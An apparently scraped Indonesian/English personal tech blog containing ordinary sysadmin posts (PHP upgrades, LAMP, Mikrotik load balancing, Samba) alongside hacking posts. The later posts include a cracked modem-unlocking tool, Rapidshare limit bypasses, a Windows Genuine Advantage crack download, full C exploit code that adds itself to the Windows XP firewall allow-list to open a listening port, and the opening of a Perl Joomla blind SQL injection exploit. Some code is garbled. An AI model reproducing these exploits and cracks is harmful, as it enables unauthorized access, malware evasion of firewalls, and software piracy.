UNDERGROUND - YUDHAX

Howto Upgrade PHP 5.1 To 5.2 on CentOS

2011-11-29T08:45:00.001+07:00

Summary from centos official - #

This guide describes how to upgrade the standard PHP 5.1.x packages in CentOS 5.x 32-bit to the current development versions 5.2.x. These instructions were created using CentOS 5.3 32-bit and with the following PHP packages installed:

# rpm -qa |grep php

php-common-5.1.6-15.el5.i386
php-cli-5.1.6-15.el5.i386
php-5.1.6-15.el5.i386
php-pdo-5.1.6-15.el5.i386
php-bcmath-5.1.6-15.el5.i386
php-ldap-5.1.6-15.el5.i386
php-devel-5.1.6-15.el5.i386
php-gd-5.1.6-15.el5.i386
php-xml-5.1.6-15.el5.i386
php-mbstring-5.1.6-15.el5.i386
php-mysql-5.1.6-15.el5.i386
php-dba-5.1.6-15.el5.i386

As long as you're using the standard PHP packages on your CentOS server you won't need to do anything extra. If you're using extra PHP packages that aren't part of the standard CentOS repositories (like php-mcrypt) you'll have to remove them or find updated versions of them.

Add the development repositories

First thing we need to do is add the development repositories to yum. When we add the development repository we're going to configure it so it only pulls PHP packages. To start we'll need create a new yum repository configuration file (use your favorite editor):

# /etc/yum.repos.d/CentOS-Testing.repo

Copy/paste the following into this file:

# CentOS-Testing:
# !!!! CAUTION !!!!
# This repository is a proving grounds for packages on their way to CentOSPlus and CentOS Extras.
# They may or may not replace core CentOS packages, and are not guaranteed to function properly.
# These packages build and install, but are waiting for feedback from testers as to
# functionality and stability. Packages in this repository will come and go during the
# development period, so it should not be left enabled or used on production systems without due
# consideration.
[c5-testing]
name=CentOS-5 Testing
baseurl=http://dev.centos.org/centos/$releasever/testing/$basearch/
enabled=1
gpgcheck=1
gpgkey=http://dev.centos.org/centos/RPM-GPG-KEY-CentOS-testing
includepkgs=php*

Make sure to remove any spaces at the start of each line, then save and close the file and you're done.

Update PHP packages

Before updating your PHP packages you'll want to get a list of what you currently have installed. To get a list of current PHP packages run the following:

# rpm -qa |grep php

Now you can use yum to update the PHP packages on your system:

# yum update

You should be shown a list of packages that are going to be updated. Compare it to the list of PHP packages on your system. Note any packages that are not in the list. You'll need to remove these packages or find updates for them because they won't work after you update to PHP 5.2.x. If that is acceptable type "y" to continue and let yum update the packages.

Once yum has completed restart Apache:

# service httpd restart

To verify the update is working create a simple testing.php in your www directory with the following source code:

phpinfo();
?>

and open it in a web browser. The new PHP version should be reflected at the top of the page.

Conclusion

You should now have PHP 5.2.6 running on CentOS 5.3 32-bit.

# rpm -qa |grep php

php-cli-5.2.6-2.el5s2
php-mbstring-5.2.6-2.el5s2
php-devel-5.2.6-2.el5s2
php-pdo-5.2.6-2.el5s2
php-gd-5.2.6-2.el5s2
php-dba-5.2.6-2.el5s2
php-common-5.2.6-2.el5s2
php-bcmath-5.2.6-2.el5s2
php-xml-5.2.6-2.el5s2
php-pear-1.5.1-2.el5s2
php-ldap-5.2.6-2.el5s2
php-5.2.6-2.el5s2
php-mysql-5.2.6-2.el5s2

# php -v

PHP 5.2.6 (cli) (built: Sep 15 2008 20:42:05)
Copyright (c) 1997-2008 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies

Note: If your "php -v" output returns errors about PDO or JSON click here

Extras

Updating/Installing mcrypt

If you have php-mcrypt for PHP 5.1.x installed you'll want to remove it:

Note: Your version number maybe different. Alter below command accordingly.

rpm -e php-mcrypt-5.1.6-15.el5.centos.1

Download php-mcrypt for PHP 5.2.x and install it. You can find a 32-bit php-mcrypt package here FedoraJunkies.

Note: You'll notice the "--nodeps" flag in the example. When you try to install php-mcrypt without it you get an error that php-common-5.2.6-2.el5s2 is missing even though it is installed.

wget -c http://sourcemirrors.org/scotth/centos/5/php/php-mcrypt-5.2.6-2.i386.rpm
rpm -i --nodeps php-mcrypt-5.2.6-2.i386.rpm

Restart Apache and you should now see mcrypt information on your testing.php page.

JSON and PDO being loaded twice

When you run the command "php -v" you might see the following errors:

# php -v

PHP Warning: Module 'json' already loaded in Unknown on line 0
PHP Warning: Module 'PDO' already loaded in Unknown on line 0
PHP 5.2.6 (cli) (built: Sep 15 2008 20:42:05)
Copyright (c) 1997-2008 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies

This is caused by the following two lines in the /etc/php.ini file:

; Extension JSON
extension=json.so

; Extension PDO
extension=pdo.so

Comment out these lines by adding a ";" in front of "extension=". These two modules are already loaded via these two files:

/etc/php.d/json.ini
/etc/php.d/pdo.ini

Install LAMP on Ubuntu 10.04 Lucid simply

2011-10-04T10:51:00.000+07:00

LAMP tersedia di repo ubuntu standard bawaan Lucid.
Berikut langkah-langkah proses instalasi yang bisa di lakukan.

Install Apache
sudo apt-get install lamp-server^ (gunakan “^”)
lalu ikuti proses instalasinya.. atau dapat pula menggunakan cara :

sudo apt-get install apache2

Untuk meyakinkan apakah instalasi Apache sudah berhasil atau belum.. dapat dilakukan pengetesan melalui browser dengan mengarahkan ke link berikut :

http://localhost

Bila muncul seperti gambar berikut berarti proses instalasi Apache webserver berhasil.

Install PHP
1. Buka konsol dari terminal kemudian ketikkan command berikut :

sudo apt-get install php5 libapache2-mod-php5

2. Restart webserver dengan menggunakan command :

sudo /etc/init.d/apache2 restart

Test PHP
1. Buat file testing.php pada direktori /var/www/ dengan cara

sudo vim /var/www/testing.php

2. Edit file tersebut dengan menambahkan

< ?php phpinfo(); ?>

3. Cek pada browser ke dengan alamat :

http://localhost/testing.php

Bila instalasi PHP berjalan dengan baik maka akan muncul seperti pada gambar berikut :

Install MySQL
1. Install MySQL dari terminal dengan menggunakan :

sudo apt-get install mysql-server

2. Edit file /etc/mysql/my.cnf dengan menggunakan vim

sudo vim /etc/mysql/my.cnf

Kemudian rubah pada baris

bind-address = 127.0.0.1

menjadi :

bind-address = ip_address_anda

3. Membuat user root pada MySQL dari terminal :

mysql -u root
mysql> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('passwordanda');

Rubah passwordanda dengan password yang anda inginkan.

4. Install aplikasi phpMyadmin agar memudahkan kita dalam mengedit database.

sudo apt-get install libapache2-mod-auth-mysql php5-mysql phpmyadmin

Selanjutnya agar PHP dapat bekerja dengan MySQL edit file php.ini :

sudo vim /etc/php5/apache2/php.ini

Rubah baris berikut :

;extension=mysql.so

menjadi :

extension=mysql.so

Kemudian restart Apache anda :

sudo /etc/init.d/apache2 restart

have a nice day..

re+ thanks bro..

Problem Install Ubuntu 10.10 di toshiba L510 intel core i3

2011-02-04T10:38:00.002+07:00

sejak beberap bulan yang lalu saya mencari-cari problem yang terjadi di Laptop Toshiba seri Satellite L510 intel core i3 (karena tidak ada linux/kernel yang support dengan vga, chipset dan processornya) & ( Kernel iDeneb macOSX pun gagal total). selama punya laptop ini kondisinya sangat memprihatinkan, karena hanya bisa di install OS Windows 7 (no XP) & jajaran program applikasinya. Kondisi ini sangat kurang lengkap dengan adanya pekerjaan dibidang Network & programming yang tidak bisa maksimal. Alhasil VirtualBox menjadi satu-satunya cara untuk dapat install Opensource (linux & solaris & BSD ) sebagai sarana jembatan ke network & server yang saya bangun.

Alhasil, diakhir bulan januari kmarin permasalahan itupun selesai dengan coba untuk oprek-oprek system linux yang akan digunakan dengan mengandalkan teori lama. akan saya sharing beberapa trik yg saya pakai untuk mengatasi agar Toshiba L510 intel core i3 dapat berjalan mulus di linux ubuntu ( ujicoba pertama ) :

1. siapkan CD Installasi UBUNTU 10.10
2. Pasang booting laptop via CDROM
3. saat loading booting awal PRESS F6 (UNTUK PILIH LANGUAGE)
4. kemudia PRESS F6 lagi untuk memunculkan menu boot lalu pilih "acpi=off"
5. kemudian ikuti langkah installasinya seperti biasa
6. setelah selesai installasi, saat booting PRESS "E" lalu akan keluar menu boot baru
7. pilih line: Linux /boot/vmlinux-2.6.32......root=UID... PRESS "END" dari keyboard dan tambahkan dibaris paling akhirnya "acpi=off"
8. PRESS Ctrl+X dan kemudian boot
9. akhirnya sampai juga di Ubuntu Desktop (perjuangan belum selesai)
10. buka "terminal" : Applications > Accessories > Terminal "
11. edit grub.conf dengan cara :
~$ sudo -i
~$ nano /boot/grub/grub.cfg   (enter)
12. cari baris ini :
### BEGIN /etc/grub.d/10_linux ###
menuentry 'Ubuntu, with Linux 2.6.35-25-generic' --class ubuntu --class gnu-linux --class gnu --class os {
        recordfail
        insmod part_msdos
        insmod ext2
        set root='(hd0,msdos4)'
        search --no-floppy --fs-uuid --set cc4dfdfd-f860-494f-9aab-91f7397d8585
        linux   /boot/vmlinuz-2.6.35-25-generic root=UUID=cc4dfdfd-f860-494f-9aab-91f7397d8585 ro   quiet splash acpi=off (ditambahkan acpi=off)
       initrd /boot/initrd.img-2.6.35-25-generic
}

13. setelah ditambahkan "acpi=off" seperti contoh diatas PRESS CTRL+X - Yes
14. Restart Linux anda.
15. eng-ing-eng.. sudah siap perkerjaan kita, catatan: jangan lupa update grub bila sudah ada waktu : ~#apt-get update-grub
16. Heppy ending

Semoga cara diatas dapat berjalan baik pula di system anda & kemungkinan bisa diaplikasikan di beberapa linux lain yang ingin anda install di Toshiba core i3.

nantikan selanjutnya Install MacOSX ke Toshiba core i3.

Thank all

Regard
yudhax

Unlock/crack Modem ZTE622 IM2 untuk lain Kartu GSM

2011-02-04T10:37:00.002+07:00

Pernah berlangganan im2 modem internet access?

dulu saya pernah, 2-3 tahun yang lalu modem ini "most wanted" org pada suka dan mencarinya, tetapi dengan berjalannya waktu, modem dari paket bundling perusahaan indos*t ini berstatus lock/terkunci. jadi tidaka akan bisa dipakai lagi kalau anda berhenti berlangganan dari paket im2. so... bagaimana mengatasinya?

demikian kisahnya:

berikut langkah2 meng-unlock modem 3G ZTE-MF622:

1. Downlot program DC - Unlocker dari salah satu link di bawah ini:

(dapat referensi dari blog kipul)
- http://www.mediafire.com/?lzlekm4lzby
- http://rs968.rapidshare.com/files/377202221/dccrap.zip

2. Selanjutnya anda bisa hubungkan Modem 3G ZTE MF622 ke PC, tapi sebelumnya ganti kartu GSM IM2nya dengan kartu GSM apa aja selain dari operator Indosat, misalkan axis, telkomsel atau XL (PENTING).
3. Ketika muncul program load dashboard modem berlogo IM2 close saja semuanya, langsung ditutup saja.
4. Ekstrak file yg sudah di download td unlock modem dccrap.zip.
5. Masuk ke dalam folder "unlock modem dccrap", kemudian jalankan program dccrap.exe
6. Ganti opsi Select Manufacturer nya menjadi ZTE dan ganti juga opsi Select Modelnya menjadi _Auto detect
7. Klik pada icon kaca pembesar dibawah, hingga kolom di bawah muncul tulisan:

DC - Unlocker 2 Client 1.00.0460

Detecting card :

selection :
manufacturer - ZTE datacards
model - Auto detect

Found modem : MF330
Model : ZTE MF622
IMEI : ..............
Firmware : ..............
SIM Lock status : locked

8. Terakhir, klik pada tombol Unlock (disebelah kanan atas), hingga muncul tulisan:

Unlocking, please wait ...

Card successfully unlocked !

Credits left : 1428100

Success ... setelah proses selesai. Cabut modem 3G ZTE MF622 dari PC, kemudian restart komputer anda. dan sekarang, anda bisa memanfaatkan modem 3G ZTE MF622 kamu dengan kartu operator lain. good luck

yudhax

Setting modem telkomflash Ubuntu 10.10

2011-02-04T10:36:00.000+07:00

Modem telkomsel flash seri E1775 / E1552 / E620

1. download : ( di http://packages.ubuntu.com/lucid/i386/usb-modeswitch/download )
ex:
~#wget http://debian.nctu.edu.tw/ubuntu//pool/universe/u/usb-modeswitch/usb-modeswitch_1.1.0-2_i386.deb

data modeswitch : (http://packages.ubuntu.com/lucid/all/usb-modeswitch-data/download )
ex:
~#wget http://www.club.cc.cmu.edu/pub/ubuntu//pool/universe/u/usb-modeswitch-data/usb-modeswitch-data_20100127-1_all.deb

2. Install :

# dpkg -i usb-modeswitch_1.1.0-2_i386.deb
# dpkg -i usb-modeswitch-data_20100127-1_all.deb

3. Masukkan Modem Huawei.

4. masuk ke : System --> Preference --> Network Connections --> Mobil Broadband --> Add --> pastikan modem huaweinya sidah terditeksi --> Forward --> Country (indonesia) -->> Profider Telkomsel --> Select Plan (pilih my plan not listen) --> isi APN dengan "internet" (tanpa kutip") --> Apply

5. Klik Connect automatically
Number = *99#
username = (kosong)
password = (kosong)
APN = internet
Available to all user = cecklist

APPLY

6. Oke happy enjoy ..

7. untuk matikan & hidupkan koneksi nya : klik kanan tanda wireless/connection network diatas lalu ada pilihan " enable mobile broadband " (v) jika aktif & hilangkan (v) jika off

yudhax

Ipad Expansion

2011-01-01T13:11:00.000+07:00

IPad Apple may soon have a new home: the United States House of Representatives.
Floor of the House of Representatives is technology-free zone. Traditionalists have argued that technological devices of any kind in space that can be very annoying, especially with so many members in the Parliament at the same time.
However, lately Rep. Henry Cuellar (D-Texas) took to the podium speakers IPAD and, in doing so, may have changed the course of history in the House of Representatives.
In an interview with iPadDailyNews on Thursday, Cuellar explain his thoughts on using IPAD.
"If you look at the technology available, both leveraged Congress can make us more efficient," said Cuellar. "There's a lot of information immediately so we can get together with the iPad."
He said the device can be used to conduct research on the floor in real time or download bills. "Just from the standpoint of making decisions more effective and efficient technologies that valuable," said Cuellar.
As you would expect, Cuellar criticized for bringing the iPad to the House, but apparently the device will be allowed to stay. Not only the rules of House of Parliament that the iPad not break the rules, new proposals can be sure will be around for a long time.
According iPadDailyNews, incoming House Speaker John Boehner (R-Ohio) has proposed allowing "certain electronic devices, including the iPad the House floor, as long as it does not 'interfere with decency."

whether it also will become part of the system of governance in Indonesia? we'll see.

Memilah Server-Server

2010-12-04T22:47:00.000+07:00

Bagaimana cara Yahoo! Mail dapat bertahan melayani jutaan penggunanya yang setiap hari mengirim, mengkompose, dan memanage email mereka, dengan besar total data dalam skala terabyte? Jawab: tambah jumlah komputer!

Coba login ke mail.yahoo.com, dan perhatikan URL email anda. Punya saya ada di http://us.f98.mail.yahoo.com. Catat punya Anda. Log out, lalu login lagi. URL-nya masih sama? Sekarang coba orang lain yang login, URL-nya berbedakah? Ya. Ini karena Yahoo! Mail menerapkan separasi komputer server email berdasarkan account. Setiap registrasi account email Yahoo, akan diassign ke salah satu server di dalam farm server email, yang hitungan terakhir berdasarkan netcraft.org, ada 200 lebih! Tentunya strategi ini adalah lebih baik daripada strategi load-balancing standar. Karena dengan separasi, seluruh data yang berhubungan dengan account sifatnya lokal.

Selain email, Yahoo juga melakukan separasi web server berdasarkan tipe file. Yakni, file-file image/gambar diletakkan terpisah di server lain (yimg.com), dan terpisah secara geografis. Kemungkinan di high-capacity bandwidth hosting seperti Akamai. Tujuannya tentunya adalah mengurangi beban bandwidth Yahoo. Juga, dengan pemisahan ini dimungkinkan penggunaan software webserver yang berbeda. File-file statik bisa diserve dengan jenis webserver tertentu yang kecil dan minimal misalnya.

Yahoo juga memisahkan komputer server berdasarkan aplikasi. Contoh: 8 server untuk www.yahoo.com, 1 server untuk Yahoo! Auction, 1 server untuk Yahoo! Autos, 1 server untuk Yahoo! Finance, dan seterusnya.

Membuat Server Redundan

Availability adalah faktor utama bagi situs yang sibuk, sampai-sampai down time sesaat pun adalah sebuah dosa besar. Yahoo! tidak tanggung-tanggung menyediakan 5 dedicated name server hanya untuk tujuan meresolve nama domainnya. Ia juga melakukan round robin 8 webserver hanya untuk halaman depan Yahoo. Nama domainnya pun telah dibeli sampai dengan 2010 (dan mungkin diperpanjang jauh-jauh hari sebelum kadaluarsa, untuk menghindari risiko). Lihat Tabel 1. Begitu pula Google, dengan 4 name server, dan 9 webserver. Redundansi ini menjamin kelangsungan hidup situs mereka—yang mana adalah hidup mati mereka.

Kesimpulan

Banyak hal teknis yang bisa dipelajari dari dotcom besar, hanya dengan melihat apa yang tampak dan tersedia dengan gratis. Dari source code HTML yang memperlihatkan keterampilan trik-trik browser yang matang. Dari desain web situs yang memperlihatkan pemikiran user experience. Dari interaksi cookie yang memperlihatkan sebagian teknik pemrograman terdistribusi mereka. Dan macam-macam hal lain yang walaupun pada awalnya terkesan aneh, tapi sangat masuk akal bila konteksnya masif—dan kepuasan pengunjung dotcom adalah hidup mati sebuah perusahaan.

Dody Suria Wijaya pendiri failco.com dan usable.web.id. Saat ini tengah sibuk memanage kantornya di bilangan Taman Radio Dalam dan menyusun sebuah naskah buku. Dapat dihubungi di dody.wijaya@usable.web.id.

Setting SAMBA SERVER on Opensolaris/SUN machine

2010-11-01T11:32:00.001+07:00

How to Configure Samba From the Command Line

1. Open a Terminal and assume the root role.
2. Copy the example file to the smb.conf file and open it with an editor.

# cd /etc/sfw # cp smb.conf-example smb.conf # vi smb.conf

3. To make the setting active, remove any settings that begin with ";", as these are disabled. The template includes full comments for each setting.
4. Modify are the following settings:

[global]
- workgroup = Change to your WORKGROUP.
[homes]
- path = Add your path to your home directories ( /export/home/%u ).
- browsable = Change to yes to allow the home share to be seen by the browser service.

5. Use the smbpasswd command to add your username.

# smbpasswd -a  New SMB password: Re-Type New SMB Password: Added user

You are ready to start Samba.

How To Start Samba

1. Enable the samba and wins services.

# svcadm enable samba # svcadm enable wins

2. Check that the daemons are online:
For example:

# svcs -a| grep wins online         16:06:20 svc:/network/wins:default # svcs -a | grep samba online         16:06:20 svc:/network/samba:default

You should now be able to access your home directory and your printers from your Windows client.

If you've set browsable = yes in your smb.conf file, you should see the shares in Network Neighborhood.

Alternatively, you could map your home directory to always mount at login.

note: wiki SUN

yudhax

Seeting Win Vista & Win 7 for SAMBA sharing on Opensolaris/SUN OS

2010-11-01T11:29:00.003+07:00

Special Notice for Windows Vista and Windows 7 Users

Microsoft Knowledge Base Article ID 954387

Note

For certain versions of Vista and Windows 7, Microsoft changed the default security profile for NTLM authentication, this in effect breaks Samba.

To fix this problem, follow these steps:

1. Select Start > Run and type secpol.msc.

2. Navigate to Local Policies > Security Options

3. Right Click "Network Security: LAN Manager authentication level" and select Properties.

4. Select "Local Security Settings".

5. Change the Policy to "Send LM & NTLM - user NTLMV2 session security if negotiated".

6. Click OK and quite the Security Policy Editor.

7. Log out and then back in or reboot your system.

You should now be able to access your Samba shares and printers.

hope this note can help you.

note: wiki SUN Oracle

yudhax

D-Link More Better with Load balancing

2010-03-09T09:13:00.002+07:00

SERI : DI-LB604 4-Port Load Balancing Router (standar)
SERI: DFL-800 NetDefend Network Security UTM Firewall, 2 WAN, 1 DMZ, 7 LAN, 90-Day IPS/AV/WCF Subscription (more better)
-0------------0----------------0--------------0-------------

Description

The DI-LB604 Load Balancing Router features dual WAN ports, four LAN ports and firewall protection providing consistent network uptime and reliable Ethernet connection.

--

Description
DFL-800
This easy-to-deploy Desktop VPN Firewall solution is designed for small-to-medium sized businesses and is readily integrated into established networks.

Saat menggunakannya lebih nyaman untuk koneksi dibawah 50user.

mungkin untuk Perkantoran dengan load tinggi dan warnet dengan jumlah koneksi speedy 2bh. dapat direkomendasikan menggunakan alat ini.

Thanks

Yudhax

Mikrotik Load Balancing

2009-10-05T01:17:00.000+07:00

Mikrotik Load Balancing

Setting Mikrotik ini Terinspirasi dari blog mas Dwi Nanto dan MikroTik Wiki, dan telah disesuaikan dgn Kondisi..

modem 1
10.10.1.1
|
|
10.10.1.2 ——– MIkrotik Load Balancing — 192.168.0.1 — hub — Client
10.10.2.2
|
|
modem 2
10.10.2.1

Pc-Router Speknya
– Dual P-III - 800Mhz
– Memory 64Mb
– IDE Flash Disk 1 Gb

Konfigurasinya

1. Interface Konfigurasi

/ interface ethernet
set Modem1 name=”Modem1" mtu=1500 \
mac-address=00:10:4B:0D:95:02 arp=enabled \
disable-running-check=yes auto-negotiation=yes \
full-duplex=yes cable-settings=default \
speed=100Mbps comment=”" disabled=no

set Lan name=”Lan” mtu=1500 \
mac-address=00:0D:88:B2:7D:50 arp=enabled \
disable-running-check=yes auto-negotiation=yes \
full-duplex=yes cable-settings=default \
speed=100Mbps comment=”" disabled=no

set Modem2 name=”Modem2? mtu=1500 \
mac-address=00:13:46:2C:DE:13 arp=enabled \
disable-running-check=yes auto-negotiation=yes \
full-duplex=yes cable-settings=default \
speed=100Mbps comment=”" disabled=no

2. Ip Address Konfigurasi

/ ip address
add address=192.168.0.1/24 network=192.168.0.0 \
broadcast=192.168.0.255 \
interface=Lan comment=”" disabled=no

add address=10.10.1.2/24 network=10.10.1.0 \
broadcast=10.10.1.255 \
interface=Modem1 comment=”" disabled=no

add address=10.10.2.2/24 network=10.10.2.0 \
broadcast=10.10.2.255 \
interface=Modem2 comment=”" disabled=no

3. Routing IP

/ ip route
add dst-address=0.0.0.0/0 gateway=10.10.2.1 scope=255 \
target-scope=10 routing-mark=odd \
comment=”" disabled=no

add dst-address=0.0.0.0/0 gateway=10.10.1.1 scope=255 \
target-scope=10 routing-mark=even \
comment=”" disabled=no

add dst-address=0.0.0.0/0 gateway=10.10.1.1 scope=255 \
target-scope=10 comment=”" disabled=no

4. Mangle Marking Paket

/ ip firewall mangle
add chain=prerouting in-interface=Lan \
connection-state=new nth=1,1,0 \
action=mark-connection new-connection-mark=odd \
passthrough=yes comment=”Load Balancing” disabled=no

add chain=prerouting in-interface=Lan \
connection-mark=odd action=mark-routing \
new-routing-mark=odd passthrough=no \
comment=”" disabled=no

add chain=prerouting in-interface=Lan \
connection-state=new nth=1,1,1 \
action=mark-connection new-connection-mark=even \
passthrough=yes comment=”" disabled=no

add chain=prerouting in-interface=Lan \
connection-mark=even action=mark-routing \
new-routing-mark=even passthrough=no \
comment=”" disabled=no

add chain=postrouting out-interface=Lan \
dst-address=192.168.0.2 action=mark-packet \
new-packet-mark=operator-down passthrough=no

5. Buat rule nat-masquerade untuk network 192.168.0.0/24 [IP - Firewall - Nat]

/ ip firewall nat
add chain=srcnat src-address=192.168.0.0/24 \
action=masquerade

add chain=srcnat connection-mark=odd action=src-nat \
to-addresses=10.10.2.2 to-ports=0-65535

add chain=srcnat connection-mark=even action=src-nat \
to-addresses=10.10.1.2 to-ports=0-65535

6. Setting DNS
/ ip dns set
primary-dns=202.134.1.10 secondary-dns=202.134.0.155 \
allow-remote-requests=yes cache-size=4096KiB \
cache-max-ttl=1w cache-used=90KiB

Label: Mikrotik

LESS TALK DO MORE .. BLACK DAY COMPETITION

2009-02-27T11:23:00.001+07:00

Chating dalam CMD command Promt

2009-02-15T10:05:00.005+07:00

1) Yang kita butuhkan IP Address and Command Prompt .

2) Open Notepad and tulis dibawah ini .....!

@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A

3) Now save this as "Messenger.Bat".

4) Open Command Prompt.

5) Drag this file (.bat file) over to Command Prompt and press Enter.

6) You would then see something like this:

7) Now, type the IP Address of the computer you want to contact and press enter
You will see something like this:

8) Now all you need to do is type your message and press Enter.
Start Chatting.......!

Thank kev

Rapidshare Hacking

2009-02-15T04:09:00.003+07:00

There are two hacks to beat Rapidshare download limits and waiting time.

1) Rapidshare Hack (For Firefox Users) :-
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment.
But most of the time, that advantage is available only to people with the programming skills to make the changes they want.

That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.

Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools.
It changes how Web pages look and act by altering the rendering process.

http://greasemonkey.mozdev.org/

1) Install the Greasemonkey extension>>
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose "Install User Script".
5) Run FireFox.
6) From 'File' Menu click on Open File then browse to whereever you saved the 'greasemonkey.xpi' plug-in.
Open it, wait a couple seconds for the install button becomes active.
7) Click on it to install this plug-in then CLOSE FIREFOX.
8) Run FireFox again.
From the File Menu click on Open File then browse to whereever you saved the 'rapidshare.user.js'.
9) Open it.
10) Click the Tools Menu then click on Install User Script then click OK.
11) Close FireFox.

The script will let you enjoy "no wait" and multiple file downloads......!

2) Rapidshare Hack (NIC Tricks and MAC Cloning) :-
Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day.
To get around this, you need to show the rapidshare server a different IP address.
Here are some methods for doing this-

A] Short-Out the JavaScript:
1) Goto the page you want to download
2) Select FREE button
3) In the address bar put this- javascript:alert(c=0)
4) Click OK
5) Click OK to the pop-up box
6) Enter the captcha
7) Download Your File

B] Request a new IP address from your ISP server:
Here’s how to do it in windows:
1) Click Start
2) Click run
3) In the run box type cmd.exe and click OK
4) When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit
5) Erase your cookies in whatever browser you are using.
6) Try the rapidshare download again.
Frequently you will be assigned a new IP address when this happens.
Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work.
If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

C] Use a proxy with SwitchProxy and Firefox:
1) Download and install Firefox
2) Download and install SwitchProxy
3) Google for free proxies
4) When you hit your download limit, clean your cookies and change your proxy

D] You can use a bookmarklet to stop your wait times:
1) Open IE
2) Right Click On This Link
3) Select Add to Favorites
4) Select Yes to the warning that the bookmark may be unsafe.
5) Name it “RapidShare No Wait”
6) Click on the Links folder (if you want to display it in your IE toolbar)
7) Click OK
8) You may need to close and reopen IE to see it
9) Goto rapidshare and click the bookmarklet when you are forced to wait

Thanks kev

Convert FAT - NTFS / Rubah FAT ke NTFS

2009-02-15T04:07:00.000+07:00

To convert a FAT partition to NTFS, perform the following steps.

1) Open 'Command Prompt'.

2) At the command prompt, type the following-

CONVERT [driveletter]: /FS:NTFS.

'Convert.exe' will attempt to convert the partition to NTFS.

NOTE :- Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command.

Windows Genuine Hack

2009-02-15T04:03:00.001+07:00

Membuat Windows Legal sendiri ...

Windows Genuine Hack:-

1) Download "Windows.Genuine.Advantage.Validation..rar"
2) Extract It.
3) Run "installer.bat" file.
4) Reboot.
5) Enjoy Your Validated Windows.

http://rapidshare.com/files/115531401/Windows.Genuine.Advantage.Validation..rar

Jalankan Firefox dalam Firefox .. (hot)

2009-02-15T03:59:00.001+07:00

How to run Firefox inside Firefox.?

Yup you can run Firefox inside firefox just by typing following url.

How about Opening Firefox inside Firefox which is again in another Firefox..?
Not bad huh?
And its really easy too just type in this url in Firefox's address bar and there you go!
Firefox inside Firefox!

copy paste following url in a web browser (mozilla firefox).

chrome://browser/content/browser.xul

Following is the screenshot of this trick (firefox in firefox in firefox, which is again in another firefox)-

Bypassing Windows-XP Firewall

2009-02-15T03:58:00.000+07:00

There is a technique using which we can bypass windows-xp service pack-2 firewall.
This techniques is nothing but the vulnerability found in windows-xp sp2 firewall.
This is explained here in detail with exploit code.

Windows XP Firewall Bypassing (Registry Based) :- Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.

Credit :-
The information has been provided by Mark Kica.
The original article can be found at: http://taekwondo-itf.szm.sk/bugg.zip

Vulnerable Systems :-
* Microsoft Windows XP SP2

Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.

If an attacker adds a new key to the registry address of HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List, the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.

Proof of Concept :-
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat

Exploit :-

#include
#include
#include
#include
#include "Shlwapi.h"

int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];

HKEY hKey;
int i;

GetModuleFileName(NULL, filename, 1024);

strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");

RegOpenKeyEx(

HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);

RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;

fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
fprintf(stdout, "Dedicated to Katka H. from Levoca \n");

sleep(3);

if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;

for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);

if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
fprintf(stdout, "Sended: Hello World\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

if (!strcmp(buffer, "quit"))
break;
}

ezsocket_exit();
return 0;
}

/* EoF */

thanks kev

Joomla Component n-forms Blind SQL Injection Exploit

2009-02-15T03:55:00.000+07:00

Joomla Component n-forms Blind SQL Injection Exploit

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " \n";
print " #######################################################\n";
print " # Mambot Component n-forms Blind SQL Injection Exploit \n";
print " # Author:The Moorish :D \n";
